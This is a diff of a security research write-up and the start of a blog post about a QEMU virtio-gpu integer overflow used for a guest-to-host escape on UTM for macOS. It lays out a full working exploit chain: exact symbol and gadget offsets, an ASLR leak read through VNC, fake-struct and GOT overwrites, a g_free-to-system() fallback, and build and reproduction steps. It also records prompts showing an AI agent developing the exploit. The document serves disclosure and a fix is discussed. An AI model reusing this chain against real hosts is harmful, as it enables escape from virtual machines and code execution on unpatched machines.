`__TEXT` | +| `_pixman_implementation_lookup_composite` | `0x33128` | `__TEXT` | +| `_dummy_composite_rect` (ret gadget) | `0x332F8` | `__TEXT` | +| GOT[free] | `0x78060` | `__DATA_CONST` (r/o) | +| First rebase entry | `0x780D0` | `__DATA_CONST` | +| `_fast_path_cache` TLS thunk | `0x80020` | `__DATA` (r/w) | +| `_global_implementation` | `0x801B8` | `__DATA __common` (r/w) | + +## Key Offsets (macOS 15.x shared cache, arm64) + +| Symbol | Unslid Address | +|--------|---------------| +| `free()` | `0x1802E36B8` | +| `system()` | `0x1803F4438` | +| Offset: `system - free` | `+0x110D80` (fixed) | + +--- + +## Suggested Fix + +The root cause is the integer overflow in `calc_image_hostmem`. The function should use 64-bit arithmetic and validate that the computed size matches what pixman will actually allocate: + +```c +static uint64_t calc_image_hostmem(pixman_format_code_t pformat, + uint32_t width, uint32_t height) +{ + uint64_t bpp = PIXMAN_FORMAT_BPP(pformat); + uint64_t stride = (((uint64_t)width * bpp + 0x1f) >> 5) * sizeof(uint32_t); + return (uint64_t)height * stride; +} +``` + +Additionally, `virtio_gpu_do_set_scanout` and `virtio_gpu_transfer_to_host_2d` should validate that the computed byte offset (`r->x * bpp + r->y * stride + r->width * bpp`) does not exceed `res->hostmem`, using the actual allocation size rather than the logical resource dimensions. + +--- + +## Vulnerability Discovery + +These vulnerabilities were found through **manual source code audit** of the QEMU virtio-gpu device implementation. They were not discovered via CVE databases, git log analysis, fuzzing, or any automated tooling. + +The audit focused on integer arithmetic in resource creation paths — specifically the interaction between `calc_image_hostmem()` (which computes the host allocation size) and the bounds checks in `set_scanout` and `transfer_to_host_2d` (which validate against logical resource dimensions). The core question was: *can the allocation size and the logical dimensions diverge?* + +The 32-bit `int` type used for `stride` in `calc_image_hostmem` stood out immediately. For `BGRA8888` format (`bpp = 32`), the multiplication `width * bpp` needs 37 bits for `width > 0x8000000` — well within the valid `uint32_t` range for the width parameter. The wrapping to `stride = 4` for `width = 0x40000001` creates a million-to-one ratio between logical and physical resource size, giving a ~4GB OOB window from a 512-byte (or 256KB with height=65536) buffer. + +The OOB read primitive via VNC (`set_scanout` with large x-offset → `resource_flush` → VNC framebuffer read) and the OOB write primitive via `transfer_to_host_2d` followed naturally from the same root cause — both validate against `res->width`/`res->height` (the logical dimensions) rather than the actual allocation size. + +--- + +## CVE and Patch History + +| | | +|---|---| +| **ZDI** | ZDI-CAN-27578 | +| **Reported to vendor by** | Zero Day Initiative (independent discovery) | +| **Root cause** | Integer overflow in `calc_image_hostmem()` — 32-bit `int stride` wraps for large widths | +| **Introduced in** | Commit `9462ff4695aa` (June 6, 2023) — changed pixman to use pre-allocated bits, bypassing pixman's internal overflow check | +| **Fix commit (primary)** | [`c035d5ea`](https://github.com/qemu/qemu/commit/c035d5eadf400670593a76778f98f052d7482968) — "virtio-gpu: fix overflow check when allocating 2d image" | +| **Fix commit (cleanup)** | [`2a886bd`](https://github.com/qemu/qemu/commit/2a886bda476531566c673d93f28184bbf7bfd890) — "virtio-gpu: use computed rowstride instead of deriving it from hostmem" | +| **Author** | Marc-Andre Lureau (Red Hat) | +| **Authored** | March 11, 2026 | +| **Merged** | March 17, 2026 (QEMU master) | +| **First release with fix** | QEMU 11.0.0 (April 21, 2026) | +| **Backported to stable** | **No** — not backported to 10.0.x, 10.1.x, or 10.2.x | +| **Affected versions** | QEMU 8.1.0 through 10.2.3 (QEMU <= 8.0.5 not affected — pixman's internal check caught the overflow) | + +The fix promotes all intermediate computations (`bpp`, `stride`, `size`) to `uint64_t` and adds an explicit `if (size > UINT32_MAX) return false` check. The function signature changes from returning `uint32_t` to returning `bool` with an output parameter. Both call sites (`virtio_gpu_resource_create_2d` and `virtio_gpu_load`) are updated to reject oversized resources. + +The vulnerability was introduced in June 2023 when commit `9462ff4695aa` ("virtio-gpu/win32: allocate shareable 2d resources/images") changed `pixman_image_create_bits()` to receive pre-allocated memory. Prior to that commit, pixman performed its own internal overflow check during allocation — the old `calc_image_hostmem` code even had a comment saying "skip integer overflow check, value will be limited by pixman_image_create_bits." After the change, pixman no longer validates the size, and the overflow in `calc_image_hostmem` becomes exploitable. + +Note: This vulnerability was independently discovered through manual source code audit (this work) and by the Zero Day Initiative. The ZDI report led to the upstream fix. + +--- + +## UTM Version Gap + +UTM is the most popular macOS QEMU frontend (30K+ GitHub stars). It ships a bundled QEMU build rather than linking against a system or package-managed QEMU. + +| | | +|---|---| +| **UTM's QEMU version** | 10.0.2 | +| **Latest QEMU release** | 11.0.0 (April 21, 2026) | +| **Fix available since** | QEMU 11.0.0 | +| **Backported to 10.0.x** | **No** | +| **UTM vulnerable** | **Yes** | + +The fix was merged to QEMU master on March 17, 2026 and shipped in QEMU 11.0.0 on April 21, 2026. It was **not backported** to any stable branch (10.0.x, 10.1.x, 10.2.x). UTM ships QEMU 10.0.2 and cannot simply bump to a patched point release — it must either: + +1. **Forward-port to QEMU 11.0.0** — a major version jump with significant integration risk +2. **Cherry-pick the fix commits** (`c035d5ea`, `2a886bd`) into their 10.0.2 fork +3. **Disable virtio-gpu-pci** — removes the attack surface but breaks GPU acceleration for guests + +This pattern — security-critical fixes landing only in QEMU mainline with no stable backports — means any downstream that tracks a stable branch remains vulnerable until they either cherry-pick or jump to the next major release. Any UTM VM with a virtio-gpu-pci device attached is exploitable. + +--- + +## UTM.app Exploitation (SPICE-Safe Variant) + +### Overview + +UTM is the most popular macOS QEMU frontend, with 30K+ GitHub stars. It bundles its own QEMU 10.0.2 build and frameworks (including pixman-1.0.framework) inside the application bundle. The same integer overflow vulnerabilities apply, but exploitation is significantly harder because UTM's `QEMULauncher` **unconditionally enables SPICE** (`-spice unix=on,...`), creating a display surface sharing problem that doesn't exist when targeting standalone QEMU. + +**Demonstrated result**: A guest VM opens Calculator.app on the macOS host, through the real UTM.app with no modifications, no debug flags, and no host preparation. + +| | | +|---|---| +| **Affected software** | UTM 4.x (bundled QEMU 10.0.2 with virtio-gpu-pci) | +| **Tested on** | UTM on macOS 26.4.1 (Tahoe), Apple Silicon (arm64) | +| **Attack surface** | Guest-accessible virtio-gpu PCI device | +| **Impact** | Guest-to-host code execution (VM escape) | +| **ASLR** | Fully bypassed at runtime from the guest | +| **Host modifications** | None required | +| **Self-contained** | No host-side files needed — uses shell globbing | + +### The SPICE Problem + +UTM's `QEMULauncher` always starts QEMU with `-spice unix=on,...` to support its native display. SPICE and VNC share the same `QemuConsole` and thus the same display surface. SPICE's `qemu_spice_display_refresh` runs on a timer every ~30ms and calls `_platform_memcmp` on the current scanout surface data. + +The OOB read primitive works by calling `SET_SCANOUT` with a large x-offset, pointing the display surface past the 256KB buffer into adjacent host memory. When this adjacent memory is **unmapped** (common in framework gaps), SPICE's timer fires and dereferences the unmapped surface pointer, causing a SIGSEGV that kills QEMU. + +This is the fundamental challenge: **every OOB scan read that overlaps an unmapped page is a ~7% chance of instant QEMU death** (SPICE timer period vs. read-reset window). With 20+ scan reads, the probability of surviving an unprotected scan is near zero. + +### Key Differences from Standalone QEMU Exploit + +| Aspect | Standalone QEMU (`exploit.c`) | UTM.app (`exploit_utm.c`) | +|--------|-------------------------------|-------------------------------| +| SPICE | Absent (`-display none`) | Always active (unconditional) | +| pixman | Homebrew dylib (~480KB TEXT) | UTM framework (~2.4MB TEXT) | +| GOT type | `__DATA_CONST` (chained fixups, r/o) | `__DATA __la_symbol_ptr` (lazy binding, r/w) | +| free() location | Non-lazy GOT (r/o) | Lazy symbol ptr (r/w, resolved at first call) | +| sizeofcmds | `0x6B8` | `0x758` (or `0x748` lipo-extracted) | +| Identification | Single Mach-O header scan | 131 pixman + 641 QEMU TEXT page fingerprints | +| Scan strategy | Page-by-page forward | Buffer-first fill + 4MB stride | +| Buffer allocation | `calloc` → `MALLOC_LARGE` | `qemu_memfd_alloc` → mmap among frameworks | +| Buffer placement | Heap spray after buffer | Buffer first, then spray+fill forward | +| Frameworks | Homebrew dylibs (few, scattered) | 20+ UTM-bundled frameworks (dense cluster) | +| Hijack target | pixman `_global_implementation` | pixman `_global_implementation`, or QEMU `la_symbol_ptr[g_free]` if pixman is behind buffer | +| Command | `open /*/*/Calc*` (15 bytes) | `open /*/*/Calc*` (pixman) / `open -a Calculator` (g_free) | + +### Solution: Buffer-First Fill Strategy + +The SPICE crash only occurs when the OOB read lands on an **unmapped** page. If all forward memory from the exploit buffer is mapped, every scan read is safe — SPICE reads mapped zeros or framework data without crashing. + +**Allocation ordering is the key insight.** macOS's large-allocation path (vm_allocate) uses a monotonically increasing hint. Successive allocations go to increasing virtual addresses. By controlling the order of resource creation, we control which memory is filled: + +1. **Create exploit buffer FIRST** — gets the lowest available heap address +2. **Create 950 spray resources** (237MB) — fill everything forward, including framework gaps +3. **Create filler resources** until hostmem limit (~18MB more) — fill remaining gaps + +All 1000+ resource allocations form a roughly contiguous block starting from the exploit buffer. Framework gaps within this range get filled by spray/filler resources. Every forward OOB read from the buffer lands on either: +- Spray/filler memory (mapped zeros) — safe, SPICE reads zeros +- Framework code/data (mapped) — safe, SPICE reads mapped memory + +**Result: zero SPICE crashes across all testing.** The scan completes every run without killing QEMU. On runs where the buffer-to-framework geometry is unfavorable (no frameworks in scan range), the exploit exits gracefully. + +### Pixman TEXT Page Fingerprinting + +With standalone QEMU, the scan looks for Mach-O headers (`0xFEEDFACF`) by stepping through pages. This works because pixman is small (~480KB) and the scan stride easily hits the header page. + +UTM's pixman framework is **2.4MB** (148 pages of TEXT). With a 4MB scan stride, most probes land in the MIDDLE of pixman's TEXT segment, missing the Mach-O header entirely. To solve this, the exploit precomputes fingerprints of every TEXT page: + +``` +Extract first 8 bytes of each 16KB page in pixman's __TEXT segment +→ 148 pages, 131 unique 8-byte signatures + (Mach-O header + one common-prologue collision with qemu_sigs dropped) +→ Store sorted by value for O(log n) binary search +``` + +When a scan probe returns non-zero data, the first 8 bytes are checked against the fingerprint table. A match immediately identifies which page of pixman was hit, giving the exact offset back to pixman's base: + +``` +pixman_base = probe_offset - (matched_page_index × 16384) +``` + +This allows pixman identification from ANY page in its TEXT segment, not just the header — a 90% hit rate per probe that lands on pixman. + +### UTM pixman Framework Offsets + +UTM bundles pixman as a universal (fat) Mach-O framework. The arm64 slice has different offsets than homebrew's thin dylib: + +| Symbol | Offset | Section | +|--------|--------|---------| +| Mach-O header | `0x000000` | `__TEXT` | +| `sizeofcmds` | `0x758` / `0x748` | Mach-O header field | +| `_pixman_constructor` | `0x0007E0` | `__TEXT` (unslid vmaddr) | +| `_pixman_image_unref` | `0x231A08` | `__TEXT` | +| `_dummy_composite_rect` (ret gadget) | `0x233718` | `__TEXT` | +| `__mod_init_func[0]` (rebase) | `0x250020` | `__DATA_CONST` | +| `__la_symbol_ptr[free]` | `0x254048` | `__DATA` (r/w, lazy) | +| `_fast_path_cache` TLS descriptor | `0x2540E0` | `__DATA` (r/w) | +| `_global_implementation` | `0x254278` | `__DATA __common` (r/w) | +| End of `__DATA` segment | `0x258000` | — | + +### Lazy Binding: A Key Advantage + +Unlike homebrew pixman (which uses `LC_DYLD_CHAINED_FIXUPS` and read-only `__DATA_CONST` GOT entries), UTM's framework pixman uses `LC_DYLD_INFO_ONLY` with traditional lazy binding. The `free()` pointer is in `__DATA __la_symbol_ptr` — a **writable** section that is resolved on first call. + +Pixman's constructor (`_pixman_choose_implementation`) calls `malloc`/`free` during initialization, so `free()` is guaranteed to be resolved by the time the exploit reads it. This gives us the shared cache slide without needing to read from a read-only GOT. + +### Self-Contained Command via Shell Globbing + +The `system()` call receives the implementation pointer as its first argument. The command string lives at offset 0 of the fake struct and is limited to **15 bytes** (before the `fast_paths` pointer at offset `0x10`). The string `open -a Calculator` is 18 bytes — too long. + +The solution uses shell globbing: `system("open /*/*/Calc*")` — 15 characters. The shell expands `/*/*/Calc*` to `/System/Applications/Calculator.app`. (An earlier glob, `/S*/A*/Ca*`, also matched `Calendar.app`.) No host-side file preparation needed. + +### UTM Exploitation Walkthrough + +#### Phase 1: Overflow Resource + Forward Fill + +``` +1. Connect VNC (guest → 10.0.2.2:5900 via SLIRP) +2. Create exploit resource: width=0x40000001, height=65536 + → stride wraps to 4, buffer = 256KB (16 pages) + → Buffer gets LOW heap address (created before spray) +3. Create 950 spray resources (256×256 BGRA = 256KB each, ~237MB total) + → Fill free regions forward from buffer, including framework gaps +4. Create filler resources until hostmem limit (~72 more, ~18MB) + → Fill remaining gaps + Total mapped forward: ~256MB of contiguous coverage +``` + +#### Phase 2: SPICE-Safe OOB Scan + +``` +Scan forward from buffer with 4MB stride (256 pages): + - Page 48 (+768KB): skip buffer + gap remainder + - Each probe: set_scanout(OOB) → flush → VNC read → reset_scanout(safe) + - All reads safe: land on spray zeros or framework data + - Check each probe for: + a) Pixman TEXT fingerprint (131 sigs, binary search) + b) QEMU TEXT fingerprint (641 sigs) + header confirmation + b) Mach-O header (0xFEEDFACF) with known sizeofcmds + c) Shared cache pointers (0x180-0x280 range) + - Stop on: pixman found, QEMU found, or 5+ consecutive zeros after data +``` + +Typical successful scan output: +``` +page 48 (+0.8 MB)... PIXMAN fingerprint (page 17)! + -> pixman base = +0x7c000 +``` + +#### Phase 3: Address Resolution + +``` +From pixman base offset: + 1. Read __la_symbol_ptr[free] at +0x254048 + → free() = 0x19015b6b8 (resolved lazy pointer) + 2. Compute shared cache slide = free() - 0x1802E36B8 + → slide = 0xfe78000 + 3. Compute system() = 0x1803F4438 + slide + → system() = 0x19026c438 + 4. Read __mod_init_func[0] at +0x250020 + → _pixman_constructor rebased addr → pixman absolute base + 5. Compute pixbuf_addr = pixman_base - pixman_oob_offset + → Absolute address of exploit buffer + 6. ret_gadget = pixman_base + 0x233718 +``` + +#### Phase 4: Dispatch Hijack + +``` +Write fake pixman_implementation_t at buffer offset 0: + 0x00: "open /*/*/Calc*\0" ← command (15 chars + null) + 0x10: &fast_paths ← pointer to fast_path array at buffer+0x40 + 0x40: wildcard fast_path ← op=0x40, formats=0x50000, func=system() + 0x68: sentinel ← op=0x3F (PIXMAN_OP_NONE) + +OOB write 1: TLS thunk (pixman+0x2540E0) ← ret gadget address + → Forces TLS cache miss on every composite call + +OOB write 2: _global_implementation (pixman+0x254278) ← buffer address + → Redirects implementation chain to our fake struct +``` + +#### Phase 5: Trigger + +``` +SET_SCANOUT(64×64) + RESOURCE_FLUSH + VNC FramebufferUpdateRequest + → pixman_image_composite32() + → TLS fast_path_cache lookup (thunk = ret → cache miss) + → Walk _global_implementation → our fake struct + → fast_paths[0] wildcard matches any composite + → func(imp, info) = system("open /*/*/Calc*") + → shell expands glob → open /System/Applications/Calculator.app + → Calculator.app opens on host +``` + +### memfd Layout and the QEMU `g_free` Fallback + +UTM 4.7.5's QEMU allocates virtio-gpu pixman buffers via `qemu_pixman_image_new_shareable()` → `qemu_memfd_alloc()` → `mmap(memfd)`, **not** `pixman_image_create_bits(NULL,…)` → `calloc`. Each resource buffer is therefore a 256 KB memfd-backed `mmap` that lands in the **lowest available hole** among the ~20 UTM-bundled frameworks (around `0x1070_00000`), instead of out in `MALLOC_LARGE` (around `0xd_3000_0000`). + +This changes the geometry the exploit depends on: + +| Region | Typical address (one observed run) | Relative to RES_EXPLOIT | +|---|---|---| +| pixman `__TEXT` | `0x10719c000` (2.4 MB) | **−7 MB** (behind) | +| RES_EXPLOIT (first 256 K memfd) | `0x107880000` | 0 | +| QEMU `__TEXT` | `0x10a5b0000` (12 MB) | +45 MB | +| QEMU `__DATA __la_symbol_ptr` | `0x10be10000` | +69 MB | +| Guest RAM (4 × 128 MB `SM=SHM`) | `0x10c314000` | +75 MB | + +dyld randomises the framework load addresses on every launch. pixman is one of the smallest images in the cluster, so on a meaningful fraction of boots it lands at a *lower* address than the first 256 K hole, putting `_global_implementation` and the TLS thunk **behind** the exploit buffer. The OOB write (`dst_offset = r.x * 4`, all `uint32_t`) is forward-only, so the Phase 4 pixman writes are then unreachable. + +#### QEMU `__TEXT` Fingerprinting + +QEMU's image is a single ~29 MB block (`__TEXT` 12 MB + `__DATA_CONST` 12 MB + `__DATA`/`__LINKEDIT`). It is large enough that a 256 K memfd hole essentially never lands above it, so the forward scan reliably crosses QEMU `__TEXT` regardless of ASLR. The exploit therefore carries a second fingerprint table: + +``` +Extract first 8 bytes of each 16 KB page in qemu-aarch64-softmmu __TEXT +→ 771 pages, 641 unique non-zero 8-byte signatures +→ Drop 2 signatures that collide with pixman_sigs +→ Sorted for O(log n) binary search (qemu_sig_lookup) +``` + +With a 4 MB stride, 2–3 probes land inside the 12 MB `__TEXT` on every run. A `qemu_sigs` hit is **confirmed** before use: the candidate base `cand = off − page_idx × 16384` is read back and accepted only if `magic == 0xFEEDFACF && sizeofcmds == QEMU_SIZEOFCMDS (0x1248)`. This guards against false positives from generic-looking signatures (e.g. `0xffffffffffffffff`). + +Once `qemu_oob` is confirmed, the existing derive-from-QEMU path runs: read `__got[_pixman_image_unref]` to get `pixman_base`, read `__la_symbol_ptr[_free]` to derive the shared-cache slide and `system()`, read `__mod_init_func[0]` to derive `pixbuf_addr`. If `pixman_base + PIXMAN_GLOBAL_IMP >= pixbuf_addr`, pixman `__DATA` is forward-reachable and the original Phase 3/4/5 chain runs unchanged. Otherwise: + +#### Fallback: `__la_symbol_ptr[g_free]` → `system()` + +QEMU's `__DATA __la_symbol_ptr` is at `qemu_oob + 0x1860000`, ~70 MB forward of the buffer and well inside the 4 GB OOB-write range. + +``` +OOB write: la_symbol_ptr[_g_free] (qemu+0x1860868) ← system_addr + → Every subsequent g_free() stub call jumps to system() +``` + +The trigger abuses the **short-read error path** in `virtio_gpu_create_mapping_iov` (verified at `0x359054`/`0x359220` in UTM 4.7.5's `qemu-aarch64-softmmu`): + +```c +ents = g_malloc(nr_entries * 16); // x23 +s = iov_to_buf(out_sg, out_num, sizeof(ab), ents, nr_entries * 16); +if (s != nr_entries * 16) { // short read + g_free(ents); // 0x359220 → system(ents) + return -1; +} +``` + +The exploit sends `RESOURCE_ATTACH_BACKING` with `nr_entries = (len/16) + 1` but only `len` bytes of entry data, where the entry bytes are the literal command string: + +``` +cmd_attach_backing_short(SPRAY_RES_START, "open -a Calculator", 19) + → nr_entries=2, esize=32, iov_to_buf copies 19 bytes + → ents[0..18] = "open -a Calculator\0", ents[19..31] = uninitialised + → 19 != 32 → g_free(ents) → system("open -a Calculator") +``` + +`SPRAY_RES_START` is used because it is an existing resource with no backing attached (the spray loop only calls `RESOURCE_CREATE_2D`, never `ATTACH_BACKING`), so QEMU passes the `res->iov == NULL` precheck and reaches `create_mapping_iov`. + +There is no struct-layout constraint on the payload: nothing in `ents` is dereferenced before the `g_free`, so the command can be arbitrarily long (bounded by the 4 KB `data_region` and QEMU's `nr_entries ≤ 16384` cap). This is why the fallback uses `open -a Calculator` directly while the pixman chain is stuck with a 15-byte glob. + +**Side effects**: after the la_ptr overwrite, every `g_free` in QEMU (including the `g_free(cmd)` for each virtqueue command and SPICE's per-frame frees) becomes a `system(ptr)` on a heap pointer, which spawns `/bin/sh -c ` and fails harmlessly. QEMU does not survive long after the trigger, but Calculator is already open. + +### UTM Reproduction Steps + +#### Prerequisites + +- macOS on Apple Silicon (arm64) +- UTM.app installed (any recent version with QEMU backend) +- `aarch64-linux-musl-gcc` cross-compiler +- Alpine Linux aarch64 `vmlinuz-virt` kernel + +#### Step 1: Build the Exploit + +```bash +cd guest_exploit +aarch64-linux-musl-gcc -static -O2 -o exploit_utm exploit_utm.c +``` + +#### Step 2: Build the Guest Initramfs + +```bash +mkdir -p /tmp/initramfs_mod/{bin,root,dev,proc,sys} +cd /tmp/initramfs_mod + +# Install busybox (from Alpine initramfs) +# cp busybox to bin/busybox (aarch64 static binary) + +# Install exploit +cp /path/to/guest_exploit/exploit_utm root/exploit_utm + +# Create init script +cat > init << 'EOF' +#!/bin/sh +/bin/busybox --install -s +export PATH="/usr/bin:/bin:/usr/sbin:/sbin" +mount -t proc proc /proc +mount -t sysfs sysfs /sys +mount -t devtmpfs devtmpfs /dev +modprobe virtio_net 2>/dev/null +sleep 1 +ip link set lo up; ip link set eth0 up +ip addr add 10.0.2.15/24 dev eth0 +ip route add default via 10.0.2.2 +sleep 2 +exec /bin/sh +EOF +chmod +x init + +# Pack +find . | cpio -o -H newc | gzip > /tmp/initramfs-exploit.gz +``` + +#### Step 3: Create UTM VM + +1. Open UTM → Create New VM → Emulate → Other +2. Architecture: ARM64 (aarch64), System: virt +3. Memory: 512 MB +4. No disk drive needed +5. After creation, edit VM settings: + - **Boot**: set kernel to `vmlinuz-virt`, initrd to `initramfs-exploit.gz` + - **QEMU**: add flags: `-device virtio-gpu-pci -vnc :0 -nographic` + - **QEMU**: set boot argument: `UTMAPP` + - **Display**: remove any display devices (the exploit adds its own) + - **Network**: ensure one virtio-net-pci NIC with emulated (SLIRP) mode + - **Serial**: add a terminal serial console + +#### Step 4: Run + +1. Boot the VM in UTM +2. In the serial console shell, run: `/root/exploit_utm` +3. Calculator.app opens on the host within ~30 seconds + +If the scan finds only zeros (buffer placed above frameworks), restart the VM and retry. The buffer-first strategy succeeds on most boots; when it doesn't, it exits cleanly without crashing QEMU. + +--- + +## Conversation Prompts + +The following are the actual user prompts that drove the project from initial concept to working exploit. All vulnerability discovery and exploit development was performed by Claude Code under user direction. + +1. "what version of qemu is UTM built against" + +2. "we want to find any vulnerabilities patched between the UTM version and latest which could be used as an escape on UTM?" + - This led to us reviewing the recent ottersec qemu CVE/exploit to see if it could be adapated. + +3. "no we want to adapt it for utm on mac, unless maybe we could audit qemu for a new guest-host escape which specifically would work on mac/osx/utm ? maybe do that first" + — This prompt initiated the source code audit of QEMU that discovered the vulnerabilities. + +4. "which are the strongest candidates for utm guest -> host escape" + +5. "can we somehow verify this — Unknown: Does Apple's PVG framework validate virtual_offset < task->len before calling the callback? PVG is closed-source. This is the single critical question." + — An initial investigation into apple-gfx-pci as an attack surface, which was ultimately abandoned because PVG is closed-source and the device requires a macOS guest. + +6. "okay lets verify it using standard qemu first before dealing with utm ?" + +7. "can you build an escape PoC that pops 'calc' on the host ?" + +8. "figure it out the best way possible. do not modify qemu source. it needs to work from guest only. investigate turning the write to a read" + — This led to the VNC-based OOB read primitive (set_scanout + VNC framebuffer read). + +9. "how does the vnc scanner work ?" + +10. "DO NOT MODIFY QEMU." / "no do not patch spice.." / "no .. we can not add patches to the binary .." + — Repeated constraints: the exploit must work against an unmodified, stock QEMU/UTM binary. No patches, no debug builds, no helper scripts on the host. + +11. "instead of system(/tmp/c) or touch /tmp/c why dont you just system(calc.app) or w/e" + — This led to the shell globbing solution: `open /S*/A*/Ca*` (14 chars), making the exploit self-contained. + +12. "make a new version of the exploit for the UTMApp dont modify the existing utm exploit" + — This initiated the SPICE-safe UTM.app variant (`exploit_utm.c`). + +13. "try ./setup_utm_vm.sh run but it failed" (followed by pasted serial output ending in `[!] Neither pixman nor QEMU found (40 reads, 0 Mach-Os)`) + — Diagnosis via `vmmap` of the live QEMULauncher process showed UTM's memfd allocator placing the exploit buffer above pixman; led to the QEMU `__TEXT` fingerprint table. + +14. "I want you to preserve the current chain, then try the new one. I want to come back to the current chain later." + — Constraint that produced the layered design: pixman fingerprint → original chain; QEMU fingerprint + reachable pixman `__DATA` → original chain; QEMU fingerprint + pixman behind buffer → `g_free` fallback. + +15. "Is there any way to pop calc directly, instead of 'open /S*/A*/Ca*'" + — Led to making `cmd_attach_backing_short` length-agnostic so the `g_free` chain can run `open -a Calculator` without the 15-byte cap. + +16. "Can you fix the setup_macos_vm.sh to pop Calc only?" + — Tightened the pixman-chain glob from `/S*/A*/Ca*` (matched Calendar.app too) to `/*/*/Calc*`. diff --git a/MADBugs/qemu/blog.md b/MADBugs/qemu/blog.md new file mode 100644 index 0000000..08b7f5a --- /dev/null +++ b/MADBugs/qemu/blog.md @@ -0,0 +1,112 @@ +# MAD Bugs: QEMU and UTM Escape + +*This post is part of [MAD Bugs](https://blog.calif.io/t/madbugs), our Month of AI-Discovered Bugs, where we pair frontier models with human expertise and publish whatever falls out.* + +> Before we dive in, one piece of news. **Dion Blazakis** and **Stefan Esser** are joining Calif. Dion just ~~escaped~~ left the fruit company, so we thought it'd be fun to drop a macOS VM escape exploit. + +Our targets are [**QEMU**](https://www.qemu.org/) and [**UTM**](https://mac.getutm.app/). QEMU is the open-source machine emulator and virtualizer that powers most Linux virtualization stacks: libvirt, OpenStack, KubeVirt, and the KVM side of many cloud platforms. UTM is the App-Store-friendly macOS and iOS frontend that wraps QEMU. It ships to roughly 30K GitHub stars worth of Mac users who want to run Windows or Linux on Apple Silicon without dealing with VMware (which is technically free now but rumour has it requires a blood donation to the suckers at Broadcom before the download link appears). + +We noticed UTM bundles its own QEMU (10.0.2), and that there is a version drift between what UTM ships and upstream. Our first prompts to Claude were: + +>find any vulnerabilities patched between the UTM version and latest which could be used as an escape on UTM? +>audit qemu for a new guest-host escape which specifically would work on mac/osx/utm. + +With a handful of further prompts, it found a guest-to-host code execution chain in QEMU's `virtio-gpu` device, and wrote ~1,500 lines of C that compile to a single static binary. Drop it into an unprivileged process inside a vulnerable VM and Calculator opens on the host. + +PoC video: https://www.youtube.com/watch?v=WWfxGyWoXrc + +Modern memory-corruption exploitation almost always needs two primitives: a **write** to corrupt state, and a **read** to determine where things are in memory. ASLR makes the read the hard part; a write you cannot aim is just a crash, so most of the engineering in any modern chain goes into leaking memory. + +The bug Claude found gave us the write for free; the read is where the novelty lives, and as far as we can tell it is a public first: a memory leak through QEMU's own VNC server, reached over SLIRP loopback from the guest itself. + +Claude assembled this autonomously, from a single prompt. The guest opens a TCP socket to its own host's VNC port through QEMU's emulated NIC at `10.0.2.2:5900`, sends a `FramebufferUpdateRequest`, and QEMU happily serialises a region of its own heap as pixel bytes back to the guest, which is now watching QEMU's address space as if it were a screensaver. The prompt was: + +>figure it out the best way possible. do not modify qemu source. it needs to work from guest only. investigate turning the write to a read. + +None of the published QEMU escapes we reviewed ([OtterSec's virtio-snd](https://osec.io/blog/2026-03-17-virtio-snd-qemu-hypervisor-escape/), [Talbi/Fariello's RTL8139](https://phrack.org/issues/70/5), the older [SLIRP ICMP leak](https://blog.bi0s.in/2019/08/13/Pwn/VM-Escape/2019-07-29-qemu-vm-escape-cve-2019-14378/)) use the VNC server as an info-leak vehicle. + +It turns out that the vulnerability was reported via ZDI (ZDI-CAN-27578) and fixed in QEMU 11.0.0 (April 21, 2026), but **not backported to any 10.x stable**. We didn't know that going in, and the rediscovery is a story in itself. + +Even though this escape is now patched, it probably lasted longer than Cloudburst. + +## The bug + +[`hw/display/virtio-gpu.c`](https://github.com/qemu/qemu/blob/v10.0.2/hw/display/virtio-gpu.c#L230-L236) has a function, `calc_image_hostmem`, that computes how many bytes to allocate for a 2D pixel buffer: + +```c +static uint32_t calc_image_hostmem(pixman_format_code_t pformat, + uint32_t width, uint32_t height) { + int bpp = PIXMAN_FORMAT_BPP(pformat); + int stride = ((width * bpp + 0x1f) >> 5) * sizeof(uint32_t); + return height * stride; +} +``` + +A quick aside on [pixman](https://www.pixman.org/), which will keep showing up: it is the low-level 2D pixel-manipulation library that backs Cairo and the X server, and that QEMU uses to represent every display surface in the system. A `pixman_image_t` is essentially a `(format, width, height, stride, raw pointer)` tuple plus the compositing/scaling routines that operate on it. When QEMU's `virtio-gpu` allocates a 2D resource for the guest, it is allocating a buffer and wrapping it in a `pixman_image_t`. + +Every intermediate in `calc_image_hostmem` is a 32-bit `int`. For `bpp = 32` and a guest-supplied `width = 0x40000001`, the `width * bpp` multiplication wraps, the round-up-to-32-bits trick rounds the wrong number, and `stride` collapses to **4**. With `height = 128`, `calc_image_hostmem` returns 512. QEMU then allocates 512 bytes, hands them to pixman as `pixman_image_create_bits(BGRA, 0x40000001, 128, ptr, stride=4)`, and stores the *original*, un-overflowed `0x40000001` in `res->width`. + +Every later bounds check on this resource (in `set_scanout`, in `transfer_to_host_2d`) checks against `res->width`. Which is a lie. The guest can address pixel coordinates up to ~4 GB past the actual 512-byte buffer. + +That is the entire bug, but the *why* of it is interesting. Pixman's `pixman_image_create_bits(format, width, height, bits, rowstride)` has two modes. Pass `bits = NULL` and pixman allocates the buffer itself, performs its own overflow check, and ignores your `rowstride`. Pass `bits = ` and pixman trusts you completely: it uses your pointer, uses your stride, and runs no checks, because by API contract the caller has already validated. + +Before [a 2023 commit](https://github.com/qemu/qemu/commit/9462ff4695aa), virtio-gpu used the first mode. `calc_image_hostmem` existed, but only to compute `res->hostmem`, the per-VM accounting number used to enforce memory budgets. Pixman did the actual allocation, and pixman caught overflow. The buggy `int stride` was lying about a counter, not a buffer size. + +The 2023 commit switched to the second mode. Windows display surfaces need a shareable `HANDLE`, which means the buffer has to be allocated by QEMU with `qemu_win32_map_alloc()`, not by pixman. So virtio-gpu started allocating `calc_image_hostmem(...)` bytes itself and passing the pointer and stride into pixman. The commit message even flags the behavior change: *"when bits are provided to pixman_image_create_bits(), you must also give the rowstride (the argument is ignored when bits is NULL)."* + +Pixman dropped its overflow check because the API contract said it could, the same buggy function went from accounting counter to trusted allocation size, and nobody re-audited it. The caller did not validate. + +## The chain + +The bug gives an OOB *write* directly: `transfer_to_host_2d` will happily copy guest-controlled bytes to `pixbuf + x * bpp` for any `x < 0x40000001`. What it does not give you, on its own, is an OOB *read*, which means no ASLR bypass, which means the write is mostly useful for kernel-panicking the host. + +The way Claude solved the read-primitive problem is, we think, the prettiest part of this exploit, and we want to walk through it because it took us a minute to believe. + +`set_scanout` is the virtio-gpu command that says "this `pixman_image_t` is the active display surface; show this on the screen." The bounds check on its arguments uses the same broken `res->width`, so the guest can configure the active display surface to point at memory 1 GB past the 512-byte buffer. + +QEMU has a built-in VNC server. Its job, by definition, is to encode the active display surface as pixel data and ship those bytes to any TCP client that connects to port 5900. + 